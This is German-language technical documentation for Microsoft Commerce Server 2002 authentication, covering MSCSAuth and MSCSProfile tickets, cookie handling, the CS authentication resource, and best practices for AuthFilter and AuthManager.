Ein Benutzer, der anonym eine Site besucht, erhält ein MSCSProfile-Ticket. Wenn sich ein anonymer Benutzer in Ihrer Site registriert, erhält er ein MSCSAuth-Ticket. Der Benutzer verfügt nun über zwei Tickets: ein MSCSProfile-Ticket und ein MSCSAuth-Ticket, die beide im HTTP-Header enthalten sind. Die Reihenfolge der Tickets im HTTP-Header ist unbekannt und kann je nach Anforderung unterschiedlich sein. AuthFilter durchsucht aus diesem Grund alle Cookies automatisch sowohl nach MSCSProfile- als auch nach MSCSAuth-Tickets.

Zwei Tickets in der Webprotokolldatei

Beide Cookies werden in der Webprotokolldatei in der Reihenfolge aufgezeichnet, in der sie im HTTP-Anforderungsheader auftreten. Der DTS-Webserverprotokollimport-Task importiert das erste gefundene Cookie. Wenn in der Protokolldatei Zugriffe gefunden werden, bei denen die Cookies in einer anderen Reihenfolge auftreten, interpretiert der DTS-Task den einen Benutzer möglicherweise als zwei verschiedene Benutzer. Hierdurch wird die Benutzerüberwachung beeinträchtigt. Dies kann zu inkorrekten Besucher- und Benutzerstatistiken führen. Wenn in einem bestimmten Protokolleintrag beide Tickets vorhanden sind, verwendet der DTS-Task das MSCSProfile-Ticket.

Empfohlene Lösung

Zur Vermeidung des oben beschriebenen Problems stehen die folgenden Möglichkeiten zur Verfügung:

  1. Ordnen Sie die Benutzer-IDs aus dem MSCSAuth-Ticket und dem MSCSProfile-Ticket derselben Benutzer-ID zu.
  2. Überprüfen Sie während der Authentifizierung, ob die Benutzer-ID im MSCSProfile-Ticket mit der im MSCSAuth-Ticket übereinstimmt. Wenn dies nicht der Fall ist, aktualisieren Sie die Benutzer-ID im MSCSProfile-Ticket.

Siehe auch

Windows-Authentifizierung mit Autocookiemodus

Benutzerdefinierte Authentifizierung mit Autocookiemodus

Autocookiemodus

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

CS-Authentifizierungsressource

Commerce Server-Cookies

Importieren von Cookies

Ausführen des DTS-Webserverprotokollimport-Tasks


Merkmale von MSCSAuth- und MSCSProfile-Tickets

In der folgenden Tabelle werden die wichtigsten Merkmale von MSCSAuth- und MSCSProfile-Tickets zusammengefasst.

Merkmal | MSCSAuth | MSCSProfile
Benutzertyp | Wird registrierten Benutzern zugewiesen. "Registrierter Benutzer” bezeichnet in diesem Zusammenhang einen Benutzer, der den Registrierungsvorgang für eine bestimmte Site erfolgreich abgeschlossen hat. | Wird anonymen Benutzern zugewiesen.
Speicherung | Wird als Sitzungscookie oder in einer codierten URL-Zeichenfolge abgelegt. Gültig für die Dauer der Sitzung oder für ein festgelegtes Zeitfenster. Wird anschließend gelöscht. | Wird als persistentes Cookie auf dem Computer des Benutzers gespeichert. Falls das MSCSProfile-Ticket in einen codierten URL aufgenommen wird, erfolgt keine Speicherung. In diesem Fall ist das Ticket nach Ende der Sitzung nicht persistent.
Inhalt | Enthält eine eindeutige Benutzer-ID, den Zeitpunkt der letzten Anmeldung, ein Zeitfenster sowie optional benutzerdefinierte Eigenschaften. | Enthält eine eindeutige Benutzer-ID und optional benutzerdefinierte Eigenschaften.

Siehe auch

MSCSProfile-Tickets

MSCSAuth-Tickets

Tickets für anonyme Benutzer, die sich registrieren

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

Commerce Server-Cookies


CommerceServer-Cookies

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Cookies

Commerce Server erstellt persistente Cookies und Sitzungscookies, die auch als nicht persistente Cookies bezeichnet werden. In Commerce Server werden persistente Cookies zur Überwachung von anonymen Benutzern eingesetzt, die Ihre Site besuchen. Sitzungscookies werden zur Überwachung von authentifizierten Benutzern einer Site verwendet.

Dieser Abschnitt beinhaltet folgende Themen:

  • Persistente Cookies
  • Sitzungscookies
  • Zusammenfassung der Cookiefeatures


Persistente Cookies

In Commerce Server werden persistente Cookies zur Überwachung von anonymen Benutzern eingesetzt, die Ihre Site besuchen. Bei anonymen Benutzern, die persistente Cookies zulassen, werden diese auf dem Computer des Benutzers gespeichert.

Wenn Sie die CS-Authentifizierungsressource konfigurieren, legen Sie die Gültigkeitsdauer von persistenten Cookies fest. In der Standardeinstellung sind persistente Cookies bis zum 15. 01. 2038 gültig.

Das MSCSProfile-Ticket kann in einem persistenten Cookie enthalten sein. Das MSCSProfile-Ticket kann jedoch auch in einen codierten URL aufgenommen werden.

Persistente Cookies enthalten die Benutzer-ID. Sie können den Wert festlegen, der als Benutzer-ID verwendet werden soll. Sie können hierzu z. B. eine GUID (Globally Unique Identifier, global eindeutiger Bezeichner) verwenden, die von einer der ASP-Seiten generiert wird. (Commerce Server stellt das unter GenID object (englisches Thema) erläuterte GenID-Objekt bereit, das zum Generieren von GUIDs verwendet werden kann.) Wenn sich ein anonymer Benutzer in der Site registriert und so zum authentifizierten Benutzer wird, kann diese GUID in dessen Sitzungscookie übertragen werden.

Hinweis

  • Persistente Cookies können benutzerdefinierte Eigenschaften enthalten. Speichern Sie jedoch keine vertrauliche Informationen in Cookies, z. B. Kreditkarten- und Sozialversicherungsnummern. Das Speichern solcher Informationen stellt ein Sicherheitsrisiko dar.

Siehe auch

Authentifizierungstickets

Persistente Cookies

Zusammenfassung der Cookiefeatures

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets


Sitzungscookies

In Commerce Server werden Sitzungscookies zur Überwachung von authentifizierten Benutzern einer Site verwendet. Nach Beendigung der Sitzung wird das Sitzungscookie von Commerce Server gelöscht.

Das MSCSAuth-Ticket kann in einem Sitzungscookie enthalten sein. Das MSCSAuth-Ticket kann jedoch auch in einen codierten URL aufgenommen werden.

Sitzungscookies enthalten folgende Daten:

  • Benutzer-ID. Die Benutzer-ID dient zur eindeutigen Identifizierung des Benutzers. Sie können den Wert festlegen, der als Benutzer-ID verwendet werden soll.
  • Zeitpunkt der letzten Anmeldung. Hiermit wird der Zeitpunkt protokolliert, zu dem der Benutzer auf die Site zugreift.
  • Zeitfenster. Der Zeitraum in Minuten, für den das Sitzungscookie gültig ist. Wenn sich ein Benutzer anmeldet, den Computer ohne Abmeldung verlässt (oder für eine bestimmte Zeit keine Eingabe durchführt) und dann vor dem Ende des Zeitfensters zurückkehrt, ist keine erneute Authentifizierung erforderlich. Nach dem Ende des Zeitfensters muss sich der Benutzer jedoch wieder anmelden.

Hinweis

  • Sizungscookies können benutzerdefinierte Eigenschaften enthalten. Speichern Sie jedoch keine vertrauliche Informationen in Cookies, z. B. Kreditkarten- und Sozialversicherungsnummern. Das Speichern solcher Informationen stellt ein Sicherheitsrisiko dar.

Siehe auch

Authentifizierungstickets

Sitzungscookies

Zusammenfassung der Cookiefeatures


Zusammenfassung der Cookiefeatures

In Commerce Server können Sie Cookies verwenden, um Ihre Site mit bestimmten Features auszustatten.

Verschlüsseln von Cookies

Sie können Commerce Server so konfigurieren, dass sowohl die von der Site generierten persistenten Cookies als auch die Sitzungscookies verschlüsselt werden. Durch das Verschlüsseln der Cookies stellen Sie sicher, dass nur Ihre Commerce Server-Anwendungen die Cookies lesen können.

In Commerce Server-Lösungssites werden Cookies in der Standardeinstellung verschlüsselt. Die Verschlüsselung kann jedoch deaktiviert werden, z. B. für das Debuggen. Deaktivieren Sie die Verschlüsselung jedoch nie in Produktionssites.

Um die Verschlüsselung zu deaktivieren, setzen Sie in der CS-Authentifizierungsressource die Eigenschaft Verschlüsselung aktivieren auf 0. Weitere Informationen hierzu finden Sie unter Konfigurieren der CS-Authentifizierungsressource.

Anweisungen zur Verschlüsselung von Cookiedaten finden Sie unter Erstellen eines neuen Cookie-Verschlüsselungsschlüssels.

Gemeinsames Nutzen von Cookies über Domänen hinweg

Commerce Server kann so konfiguriert werden, dass Cookies domänenübergreifend gemeinsam genutzt werden. Jedes Cookie besitzt eine domain-Eigenschaft zur Bestimmung der Domäne, in der das Cookie gültig ist. Weitere Informationen zum gemeinsamen Nutzen von Cookies durch mehrere Domänen finden Sie unter Unterstützung der Einzelanmeldung durch AuthFilter.

Hinweis

  • Wenn Sie für eine Anwendung SSL (Secure Socket Layers) und HTTPS (Secure Hypertext Transfer Protocol) einsetzen, wird der Domänenbereich aus dem sicheren Hostnamen erstellt. Beim Einsatz von HTTP wird der Domänenbereich aus dem nicht sicheren Hostnamen erstellt. Informationen zum Konfigurieren des sicheren bzw. nicht sicheren Hostnamens für eine Anwendung finden Sie unter Konfigurieren einer Anwendung.

Gemeinsames Nutzen von Cookies über Anwendungen hinweg

Commerce Server kann so konfiguriert werden, dass Cookies durch mehrere Anwendungen in derselben Site genutzt werden.

In bestimmten Fällen sollten Sie Cookies nicht von Anwendungen in derselben Site gemeinsam nutzen lassen, da das Vorhandensein von Cookies Auswirkungen auf die Analyseergebnisse der Benutzeraktivitäten in Ihrer Site hat. Wenn Sie z. B. über Ihre Site Büroartikel verkaufen und Cookies von einer Lieferanten- und einer Handelsanwendung gemeinsam nutzen lassen, können Sie bezüglich der Benutzeraktivitäten keine Analysen für diesen beiden Anwendungen getrennt vornehmen. Die in der Supplier-Site getätigten Käufe könnten daher einen Benutzer anführen, der Büroartikel in großen Mengen kauft, während die Retail-Site Benutzer anführt, die Büroartikel in kleinen Mengen kaufen.

Weitere Informationen zum gemeinsamen Nutzen von Cookies durch mehrere Anwendungen finden Sie unter Aktivieren der Cookiefreigabe über Anwendungen hinweg.

Siehe auch

Konfigurieren einer Anwendung

Erstellen eines neuen Cookie-Verschlüsselungsschlüssels

Verwalten von verschlüsselten Profileigenschaften

Unterstützung der Einzelanmeldung durch AuthFilter

Authentifizierungstickets


CS-Authentifizierungsressource

Die CS-Authentifizierungsressource ist eine Gruppe von Eigenschaften, darunter Eigenschaften für die Konfiguration des AuthManager-Objekts und von AuthFilter. Mithilfe der CS-Authentifizierungsressource können Sie eine Commerce Server-Site auf globaler und Anwendungsebene konfigurieren. Sie setzen jedoch keine CS-Authentifizierungseigenschaften auf Siteebene.

Verwechseln Sie die CS-Authentifizierungsressource nicht mit der Commerce Server-Authentifizierung. Die Commerce Server-Authentifizierung besteht aus den Tools AuthFilter und AuthManager.

Authentifizierungseigenschaften auf globaler Ebene

Die Eigenschaften auf globaler Ebene werden in der globalen CS-Authentifizierungsressource festgelegt. Diese Authentifizierungseigenschaften werden von allen Commerce Server-Sites verwendet, die auf diese CS-Authentifizierungsressource zugreifen. Anweisungen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.

Für jede Site ist ein globaler Ressourcenzeiger vorhanden, der auf die CS-Authentifizierung verweist. Eine CS-Authentifizierungsressource kann von mehreren Sites genutzt werden.

Authentifizierungseigenschaften auf Anwendungsebene

Auf der Anwendungsebene (klicken Sie im Commerce Server-Manager mit der rechten Maustaste auf die Anwendung) werden Authentifizierungseigenschaften festgelegt, die nur von einer bestimmten Anwendung verwendet werden. Anweisungen finden Sie unter Konfigurieren einer Anwendung.

Zusätzlich können Sie bei der Entwicklung einer Site auf der Grundlage einer Commerce Server-Lösungssite die Authentifizierungseigenschaften der Site in der Ressource für die Anwendungsstandardkonfiguration konfigurieren. Informationen zu den Eigenschaften in der Anwendungsstandardkonfiguration finden Sie unter App Default Config Settings for Solution Sites (englisches Thema).

Hinweise

  • Die Eigenschaft Timeout des Authentifizierungstickets des AuthManagers, die im Commerce Server-Manager auf Ebene der Anwendungsstandardkonfiguration konfiguriert wird, wird nicht von AuthFilter verwendet. Aus dieser Eigenschaft erhält AuthManager den Timeoutwert für MSCSAuth-Tickets.
  • Wenn Sie ein Upgrade von Commerce Server 2000 durchgeführt haben, wird die Eigenschaft Zeitfenster für gültiges Ticket im Dialogfeld Eigenschaften von CS-Authentifizierung angezeigt. Diese Eigenschaft wird von Commerce Server 2002 jedoch nicht verwendet.

Siehe auch

  • Konfigurieren der CS-Authentifizierungsressource
  • Konfigurieren einer Anwendung
  • Konfigurieren der Anwendungsstandardkonfigurations-Ressource
  • Vergleich von AuthFilter und AuthManager
  • AuthFilter
  • AuthManager


Werte für die Authentifizierung in der Datei "csapp.ini"

Commerce Server Site Packager generiert beim Entpacken die Datei csapp.ini. Diese Datei wird sowohl von AuthManager als auch AuthFilter benötigt und muss sich im Stammverzeichnis der Site befinden.

AuthManager und AuthFilter lesen die folgenden Werte aus der Datei csapp.ini:

Schlüsselname | Schlüsselwert | Verwendung
SiteName Bei diesem Wert muss es sich um einen gültigen Sitenamen aus der Verwaltungsdatenbank handeln. Initialisiert die SiteConfigReadOnly-Komponente, um die zur Site gehörigen Informationen abzurufen.

Wichtig

  • Commerce Server unterstützt Sitenamen mit einer Länge im Bereich von 1 bis 127 Zeichen.
AddressKeyName | Dieser Wert muss ein gültiger Anwendungsname in der durch den Schlüssel SiteName festgelegten Site sein. | Wird zum Abrufen von Informationen über die Anwendung in der durch den Schlüssel SiteName festgelegten Site verwendet.

Siehe auch

Datei CSAPP.INI


Empfohlene Vorgehensweisen für die Authentifizierung

Es wird dringend empfohlen, die in diesem Thema dargelegten Tipps zur Gewährleistung einer sicheren Installation von Commerce Server zu befolgen.

Verwenden von Active Directory

Verwenden von AuthFilter

Instantiieren von AuthManager

Verwenden des Autocookiemodus

Sichern von Kennwörtern

Proxykonten

Konfigurieren von Authentifizierungseigenschaften

Verwenden von Active Directory

  • Wenn Sie in einer umfangreichen Installation Active Directory einsetzen, speichern Sie ein aggregiertes Profil in SQL Server.

    Verwenden Sie Active Directory, um vertrauliche Informationen wie Anmeldename, Kennwort, Gruppen und E-Mail-Adressen abzulegen. Speichern Sie dynamische und weniger vertrauliche Daten wie Benutzervoreinstellungen und Transaktionsdaten in SQL Server.

    SQL Server ist schneller als Active Directory; Active Directory verfügt jedoch über zusätzliche Sicherheitsfeatures und eine anwendungsübergreifende Verzeichnisintegration. Ein schrittweise Anleitung, wie einige Profileigenschaften in Active Directory und andere in SQL Server gespeichert werden, finden Sie unter Hinzufügen von neuen Eigenschaften zu den Profildefinitionen Ihrer Site.

    Obwohl in Active Directory eine große Anzahl von Objekten gespeichert werden können, empfiehlt es sich aus Leistungsgründen, im E-Business-Bereich nicht mehr als drei Millionen Objekte/Benutzer pro Domäne in Active Directory zu speichern. Commerce Server unterstützt die Partitionierung zwischen mehreren Gesamtstrukturen, um eine Skalierung von Active Directory zu ermöglichen. Diese Funktion wurde für bis zu 10 Millionen Objekte/Benutzer getestet. Es ist jedoch keine feste Obergrenze vorhanden. Als weitaus einfachere Lösung könnten sich jedoch Proxykonten erweisen. Weitere Informationen finden Sie unter Proxykonten.

Verwenden von AuthFilter

  • Falls Commerce Server mit Windows-Authentifizierung installiert wird, kann AuthFilter nur verwendet werden, wenn Sie die SQL Server-Authentifizierung für die Verwaltungsdatenbank aktivieren.

    Wenn Sie AuthFilter in einer Commerce Server-Installation mit Windows-Authentifizierung verwenden, müssen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank ändern, da der ISAPI-Filter (und damit auch AuthFilter) in der Sicherheitsumgebung des IIS-Prozesses (inetinfo) ausgeführt wird, der auch als "LocalSystem" bezeichnet wird. Daher versucht AuthFilter, die Verbindung mit SQL Server auf einem anderen Computer herzustellen, und verwendet dabei die Anmeldeinformationen für LocalSystem, die in diesem Fall jedoch ungültig sind. Netzwerkweite Verbindungen sind aus diesem Grund nicht möglich. (Wenn sich die Verwaltungsdatenbank in einem lokalen Verzeichnis befindet, kann eine Verbindung hergestellt werden. Die Verwaltungsdatenbank sollte aber nicht auf den Webserver gelegt werden.)

    Anweisungen zur Verwendung von AuthFilter in diesem Szenario finden Sie unter Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung.

  • Verwenden Sie AuthFilter im Windows-Authentifizierungsmodus, um die Einzelanmeldung in einer Webfarm-/Multidomänenumgebung zu unterstützen.

    AuthFilter ermöglicht es authentifizierten Benutzer in einer Webfarm, die bei einem Server angemeldet sind, auf eine Site auf einem anderen Server zuzugreifen, ohne die Anmeldeinformation erneut übermitteln zu müssen.

    Hinweis

    • Um diese Funktion zu implementieren, müssen Sie die Seite Login.asp bearbeiten. Ein Codebeispiel finden Sie unter "Login.asp"-Code für die Supplier-Lösungssite.

    Wenn die Anforderung jedoch bei nicht-servergebundenen Sitzungen mit der POST-Methode gesendet wird, gehen alle im Headertext enthaltenen Informationen bei der erforderlichen Umleitung verloren. Verwenden Sie die POST-Methode nur bei servergebundenen Sitzungen. Bei nicht-servergebundenen Sitzungen sollte zur Erhöhung der Sicherheit immer die GET-Methode und SSL (HTTPS) verwendet werden. Weitere Informationen finden Sie unter Authentifizieren von Benutzern in einer Webfarm.

  • Nachdem Sie Änderungen am Ordner "AuthFiles" oder an einer der darin enthaltenen Dateien vorgenommen haben (z. B. den Ordner umbenennen), überprüfen Sie die Sicherheitseinstellungen des Ordners "AuthFiles".

    Wenn Sie Änderungen am Ordner AuthFiles vorgenommen haben, navigieren Sie im Internetdienste-Manager zum virtuellen Verzeichnis der Site und stellen sicher, dass die Sicherheitseigenschaft auf anonymen Zugriff gesetzt ist.

    So setzen Sie die Eigenschaft auf anonymen Zugriff

    1. Klicken Sie im Internetdienste-Manager mit der rechten Maustaste auf AuthFiles, und klicken Sie dann auf Eigenschaften.
    2. Klicken Sie auf der Registerkarte Verzeichnissicherheit im Abschnitt Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
    3. Stellen Sie sicher, dass Anonymer Zugriff aktiviert ist, und klicken Sie anschließend auf OK.
  • Um sowohl authentifizierte als auch anonyme Besucher einer Site zu überwachen, verwenden Sie AuthFilter im kombinierten Modus (Windows-Authentifizierung oder benutzerdefinierte Authentifizierung in Kombination mit dem Autocookiemodus).

    Sie können Inhalte vorhalten, die nur authentifizierten Benutzern zur Verfügung stehen, und andere Inhalte, die anonymen Benutzern zugänglich sind. Auf diese Weise können Sie anonymen Benutzern den Zugriff auf Ihre Site ermöglichen und gleichzeitig deren Surfgewohnheiten aufzeichnen.

    Im benutzerdefinierten Authentifizierungsmodus müssen sich die Benutzer registrieren, d. h., sie müssen als authentifizierte Benutzer auf die Site zugreifen. AuthFilter sichert alle Dateien in dem virtuellen Verzeichnis, das durch AuthFilter geschützt wird, indem der Zugriff auf Dateien in diesem Verzeichnis nur authentifizierten Benutzern gewährt wird. Das virtuelle Verzeichnis kann nicht so konfiguriert werden, dass es gleichzeitig Inhalte sowohl für den authentifizierten als auch den anonymen Zugriff enthält.

    Nach der Überprüfung der Anmeldeinformationen auf der Anmeldeseite werden alle Inhalte bzw. Seiten im Kontext des anonymen Kontos von Microsoft Internetinformationsdienste (IIS) 5.0 ausgeführt. Dies ist in der Standardeinstellung IUSR_Computername, wobei Computername den Computer bezeichnet, auf dem die Site installiert ist.

    Führen Sie die folgenden Schritte aus, um Inhalte mit Zugriff durch anonyme Benutzer bereitzustellen:

    1. Fügen Sie der Anmeldeseite eine Verknüpfung hinzu. Nicht registrierte Benutzer, die sich auch nicht registrieren möchten, können auf die anonymen Inhalte zugreifen, indem Sie auf diese Verknüpfung klicken.
    2. Erstellen Sie für diesen URL ein weiteres virtuelles Verzeichnis, das von dem ursprünglichen virtuellen Verzeichnis getrennt ist. Der URL darf nicht innerhalb des ursprünglichen virtuellen Verzeichnisses verschachtelt sein.
  • Festlegen von SSL/HTTPS für Anmeldeseiten bei Verwendung von AuthFilter.

    Verwenden Sie in Verbindung mit AuthFilter die Eigenschaft Anmeldeformular von CS-Authentifizierung, um für Anmeldeseiten SSL/HTTPS festzulegen. Sie müssen den vollständigen Pfad der Seite Login.asp angeben, z. B. https://www.microsoft.com/authfilter/login.asp. Anweisungen zum Festlegen der Eigenschaft Anmeldeformular finden Sie unter Konfigurieren der CS-Authentifizierungsressource.

    Wenn Sie AuthManager einsetzen, ist es nicht erforderlich, die Eigenschaft Anmeldeformular zu konfigurieren. Konfigurieren Sie stattdessen im Commerce Server-Manager zwei Anwendungseigenschaften: HTTPS aktivieren und Sicherer Hostname. AuthFilter verwendet diese Eigenschaften nicht. Anweisungen zum Festlegen dieser Eigenschaften finden Sie unter Konfigurieren einer Anwendung.

  • In Bereitstellungen mit mehreren Sites, die mit AuthFilter arbeiten, können keine Hostheader verwendet werden.

    Die Verwendung von Hostheadern mit SSL wird von IIS nicht unterstützt. Aus Gründen der Sicherheit erfordert AuthFilter bei der Übertragung der Anmeldeinformationen an den Server SSL.

  • Verwenden Sie SSL mit AuthFilter, Active Directory und ACLs (Access Control List, Zugriffssteuerliste) statt mit der gegenseitigen Authentifizierung mit Clientzertifikaten.

    Bei der gegenseitigen Authentifizierung überprüft der Client die Identität Ihres Servers mithilfe von Zertifikaten. Umgekehrt überprüft Ihr Server die Identität der Clients ebenfalls anhand von Zertifikaten. Die Verwendung von Zertifikaten zur Authentifizierung von Benutzern erfordert jedoch Investitionen in die Infrastruktur für die öffentlichen Schlüssel, z. B. Zertifikate, Zertifikatsserver und eine autorisierten Zertifizierungsstelle. Hinzu kommt, dass die Überprüfung von Zertifikaten zusätzliche Serverressourcen, z. B. CPU-Zeit, bindet. Es ist unproblematischer, SSL mit AuthFilter, Active Directory und Zugriffssteuerlisten einzusetzen, als ein System zur Ausgabe und Überprüfung von Zertifikaten zu konfigurieren. Weitere Informationen zu Zertifikaten finden Sie in der IIS-Onlinedokumentation.

  • Wenn Sie mehrere (durch AuthFilter geschützte) Commerce-Sites auf einem einzelnen Webserver installieren, entpacken Sie jede Commerce-Site in ein eigenes Verzeichnis.

    Installieren Sie eine Commerce-Site nicht in einem Unterverzeichnis einer anderen Site. Sie können mehrere Site in einem virtuellen Verzeichnis installieren, wenn diese innerhalb des virtuellen Verzeichnisses in getrennten Verzeichnissen vorliegen.

  • Bei der Verwendung von AuthFilter dürfen sich die Namen der Commerce-Sites nicht ähneln.

    Vermeiden Sie es z. B., eine Site "Retail" und eine andere "retail2" zu nennen. Dies könnte dazu führen, dass IIS Cookies an die falsche Site sendet.

Instantiieren von AuthManager

  • Instantiieren Sie das "AuthManager"-Objekt im Anwendungsbereich.

    Instantiieren und initialisieren Sie eine einzelne Instanz des AuthManager-Objekts im Anwendungsbereich, damit der Datencache des SiteConfig-Objekts initialisiert wird. Dies beschleunigt zukünftige Initialisierungsaufrufe des AuthManager-Objekts, da der Cache bereits mit Daten gefüllt ist. Diese Instanz sollte jedoch nie für die Verwendung der APIs des AuthManager-Objekts eingesetzt werden.

    Das AuthManager-Objekt sollte auf jeder ASP-Seite für jede neue Anforderung erstellt und zerstört werden, da bei dem AuthManager-Objekt Abhängigkeiten zu einzelnen Benutzersitzungen bestehen.

    Verwenden Sie das AuthManager-Objekt nur auf Active Server Pages (ASP), da Abhängigkeiten zu ASP-internen Objekten bestehen. Dieses AuthManager-Objekt sollte an keiner anderen Stelle verwendet werden.

Hinweis

  • Außerhalb von ASP-Skripts können Sie die Methoden Initialize, Refresh, GetUserIDFromCookie (englisches Thema) und GetUserIDFromCookieAndKey (englisches Thema) des AuthManager-Objekts (englisches Thema) verwenden.

Verwenden des Autocookiemodus

  • Wenn sich anonyme Benutzer im Autocookiemodus registrieren, können deren persistente Cookies programmgesteuert aktualisiert werden, sodass die über die anonymen Benutzer gesammelten Profildaten nicht verloren gehen.

    Die programmgesteuerte Aktualisierungsfunktion wird mithilfe des AuthManager-Objekts realisiert. Die Aktualisierung muss auf der Registrierungsseite durchgeführt werden, indem die richtige GUID oder Benutzer-ID aus dem registrierten Profil abgefragt und mithilfe der SetProfileTicket-Methode gesetzt wird. Dieser Mechanismus ist notwendig, da das Umwandeln von anonyme in registrierte Benutzer von der jeweiligen Anwendung abhängt, z. B. davon, ob dasselbe Profil oder ein anderes Profil verwendet wird.

    Wenn aus einem anonymen ein registrierter Benutzer wird, sind zu jedem Zeitpunkt nach der Anmeldung und Authentifizierung des Benutzers zwei Tickets vorhanden.

    • Wenn das neue Profil verwendet wird, aktualisieren Sie das MSCSProfile-Ticket mit der neuen Identität. Falls kein neues Profil erstellt, sondern lediglich ein Flag gesetzt wird, legen Sie die entsprechenden Eigenschaften nach Bedarf fest.
    • In Fällen, in denen sowohl das MSCSAuth-Ticket als auch das MSCSProfile-Ticket vorhanden ist, ruft die DTS-Webprotokollimport-Task die Benutzer-ID aus dem MSCSProfile-Ticket ab.

      Wenn das MSCSProfile-Ticket nicht vorhanden ist, wird die Benutzer-ID aus dem MSCSAuth-Ticket ausgelesen. Diese Benutzer-ID dient zur Suche nach dem Profil anhand des Primärschlüssels für das Profilschema, das von der DTS-Benutzerimport-Task exportiert wurde. Das von der DTS-Profildatenimport-Task in das Data Warehouse exportierte Standardschema enthält die GUID und den Anmeldenamen.

Sichern von Kennwörtern

  • Von Active Directory können keine Klartextkennwörter abgerufen werden. Wenn Sie Active Directory verwenden, müssen Sie deshalb servergebundene Sitzungen aktivieren.

    Benutzerkennwörter werden in Active Directory verschlüsselt gespeichert. Wenn Sie auf diese Kennwörter im Klartext zugreifen möchten und Kennwörter anfänglich auf der Anmeldeseite ausgelesen werden, stehen die beiden folgenden Optionen zur Verfügung:

    • Erweitern Sie das Profilschema, indem Sie eine neue Eigenschaft zum Speichern des Klartextkennworts hinzufügen. Sie müssen das Schema mit dem Modul "Profil-Designer" in Commerce Server Business Desk erweitern. Informationen zu diesem Verfahren finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.
    • Erstellen Sie einen benutzerdefinierten Cache, in dem das auszulesende Klartextkennwort gespeichert wird. Weitere Informationen hierzu finden Sie unter Klartextkennwörter.
  • Wenn Sie Active Directory und SQL Server-Aggregation einsetzen, erfassen Sie das Kennwort aus der Seite "Login.asp", und speichern Sie es im Profilspeicher für den Benutzer in SQL Server.

    Auf das Kennwort kann dann von einem anderen Webserver aus zugegriffen werden. Mithilfe des benutzerdefinierten Codes auf der Seite Login.asp können sich die Benutzer dann transparent anmelden. Auf diese Weise können die Benutzeranmeldeinformationen von der Anmeldeseite an das Tool AuthFilter übermittelt werden, das auf dem Server ausgeführt wird, auf den der Benutzer umgeleitet wird. Für diesen Authentifizierungsvorgang sind keine servergebundenen Sitzungen erforderlich.

Hinweis

  • Sie können Profileigenschaften verschlüsseln. Weitere Informationen finden Sie unter Verwalten von verschlüsselten Profileigenschaften.

Konfigurieren von Authentifizierungseigenschaften

  • Verwenden Sie die Befehle "net stop iisadmin" und "net start w3svc", um IIS neu zu starten.

    Sie müssen IIS neu starten, wenn Sie eine der folgenden Aufgaben durchführen:

    • Konfigurieren der Eigenschaften der CS-Authentifizierungsressource
    • Aktivieren der Cookiefreigabe über Domänen/Anwendungen hinweg
    • Aktivieren oder Deaktivieren von AuthFilter

    Durch den Neustart von IIS werden alle Anwendungen entladen und die Konfigurationseigenschaften der Site im lokalen Sitecache für AuthFilter aktualisiert.

    Verwenden Sie nicht den Befehl IISReset. Obwohl IIS mit dem Befehl IISReset beendet und neu gestartet wird, startet dieser Befehl unter bestimmten Bedingungen Inetinfo.exe (Dienst W3SVC) nicht neu. Wenn z. B. der Dienst W3SVC so konfiguriert wurde, dass er nur manuell und nicht automatisch gestartet werden kann, wird er durch den Befehl IISReset nicht neu gestartet. Anweisungen zur Verwendung der Befehle net stop und net start finden Sie unter Neustarten von IIS und Commerce Server-Diensten.


Vergleich von AuthFilter und AuthManager

Commerce Server verfügt über zwei Tools zum Authentifizieren und Identifizieren von Benutzern:

  • AuthManager. Ein Component Object Model (COM)-Objekt, das Methoden zur Benutzeridentifizierung und zur Zugriffssteuerung auf dynamisch erstellte Inhalte bereitstellt. Beispiel: Siteentwickler können die GetUserID-Methode des AuthManager-Objekts aufrufen, um einen Benutzer auf der Grundlage eines in einem Cookie enthaltenen Tickets oder einer Abfragezeichenfolge zu identifizieren. AuthManager wird auf jeder gesicherten ASP-Seite in Ihrer Site verwendet, um mithilfe der IsAuthenticated-Methode zu ermitteln, ob der Benutzer berechtigt ist, auf diese Seite zuzugreifen.

    AuthManager ermöglicht das Einkaufen ohne Cookies. An jede in der Site erstellte URL-Abfragezeichenfolge muss ein Authentifizierungsticket angefügt werden, um sicherzustellen, dass das Authentifizierungsticket an alle Anforderungen weitergegeben wird. Dies geschieht mit der GetUrl-Methode. Es kann lediglich ein Ticket an einen URL angefügt werden, wobei das MSCSAuth-Ticket Vorrang vor dem MSCSProfile-Ticket hat.

    AuthManager ist von keiner der während des Entpackens angewendeten Konfigurationseinstellungen abhängig.

  • AuthFilter. Ein ISAPI-Filter (Internet Server API), der auf der Anwendungsebene von Commerce Server verwendet und konfiguriert wird. Dieser Filter lässt sich auf alle Besucher Ihrer Site anwenden. AuthFilter wird nach dem Entpacken einer Site konfiguriert. Das Einkaufen ohne Cookies wird von AuthFilter nicht unterstützt.

Zusammenfassung der Unterschiede zwischen AuthFilter und AuthManager

Die folgende Tabelle fasst die Unterschiede zwischen den von AuthFilter und dem AuthManager-Objekt unterstützten Features zusammen.

Features und Funktionen | AuthFilter: Windows- Authentifizierung | AuthFilter: Benutzerdefinierte Authentifizierung | AuthFilter: Autocookie | AuthManager
Überprüft, ob Sitzungscookies (nicht persistent) unterstützt werden | Ja | Ja | Ja | Nein
Unterstützt Einkaufen ohne Cookies | Nein | Nein | Nein | Ja
Bietet granuläre Zugriffssteuerung mithilfe von Zugriffssteuerungslisten (ACLs) | Ja | Nein | Nein | Nein
Unterstützt benutzerdefinierte Anmeldeseiten | Ja | Ja | Nein | Nein Wenn das Ticket nicht mithilfe von AuthManager überprüft wird, kann die Benutzeranforderung an eine benutzerdefinierte Anmeldeseite umgeleitet werden.
Unterstützt Korrektur der Groß-/Kleinschreibung in URLs | Ja | Ja | Ja | Nein
Unterstützt Webfarm-Umgebungen | Ja, mit einigen Einschränkungen bei POST-Anforderungen | Ja | Ja | Ja
Verwendet ASP-Spezifikationen | Nein | Nein | Nein | Ja
Unterstützt Active Directory zum Speichern von Benutzerprofilen | Ja | Nein | Ja (*im kombinierten Modus) | Nein
